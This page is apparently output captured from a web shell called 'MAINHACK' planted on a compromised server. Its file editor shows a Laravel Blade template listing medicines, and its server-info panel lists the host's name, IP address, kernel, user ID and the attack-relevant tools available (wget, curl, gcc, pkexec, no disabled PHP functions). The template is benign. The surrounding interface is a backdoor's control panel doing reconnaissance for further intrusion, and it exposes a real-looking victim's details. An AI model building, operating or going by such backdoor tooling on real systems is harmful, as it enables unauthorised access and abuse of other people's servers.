[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.blade.php
@extends('layouts.backend') @section('title', 'Medicines') @section('content') <x-container title="Medicines" buttonTitle="Add New" buttonRoute="{{ route('medicines.create') }}"> <form method="get" action="" class="row mb-1"> <div class="col-lg-3"> <select name="supplier_id" id="" class="form-select"> <option value="" selected="">{{ translate('common.Supplier') }}</option> @foreach($suppliers as $supplier) <option {{ request('supplier_id') == $supplier->id ? 'selected' : '' }} value="{{ $supplier->id }}">{{ $supplier->name }}</option> @endforeach </select> </div> <div class="col-lg-6"> <input type="text" value="{{ request('keyword') }}" class="form-control" name="keyword" placeholder="Search with QR code, name, generic"> </div> <div class="col-lg-2"> @if(request()->query()) <a href="{{ url()->current() }}" class="btn btn-danger"><i class="fa fa-times"></i></a> @endif <button type="submit" class="btn btn-dark"><i class="fa fa-search"></i></button> </div> </form> <div class="table-responsive pt-0"> <table class="table"> <thead> <tr> <th>{{ translate('common.sn') }}</th> <th>{{ translate('common.qr_code') }}</th> <th>{{ translate('common.medicine_name') }}</th> <th>{{ translate('common.generic_name') }}</th> <th>{{ translate('common.category') }}</th> <th>{{ translate('common.supplier') }}</th> <th>{{ translate('common.price') }}</th> <th>{{ translate('common.buy_price') }}</th> <th>{{ translate('common.option') }}</th> </tr> </thead> <tbody> @foreach ($collection as $row) <tr> <td>{{ $loop->iteration }}</td> <td>{{ $row->qr_code }}</td> <td> <div class="d-flex align-items-center gap-1"> <img height="30" width="30" src="{{ globalAsset($row->image) }}" alt="{{ $row->name }}"> <span>{{ $row->name }}</span> </div> </td> <td>{{ $row->generic_name }}</td> <td> @foreach($row->category_names as $categoryName) <span class="badge bg-dark">{{ $categoryName }}</span> @endforeach </td> <td>{{ @$row->supplier->name }}</td> <td>{{ priceFormat(@$row->price) }}</td> <td>{{ priceFormat(@$row->buy_price) }}</td> <td class="d-flex gap-1"> <x-action.edit route="{{ route('medicines.edit', $row->id) }}"></x-action.edit> <x-action.delete route="{{ route('medicines.delete', $row->id) }}"></x-action.delete> </td> </tr> @endforeach </tbody> </table> {!! $collection->links() !!} </div> </x-container> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002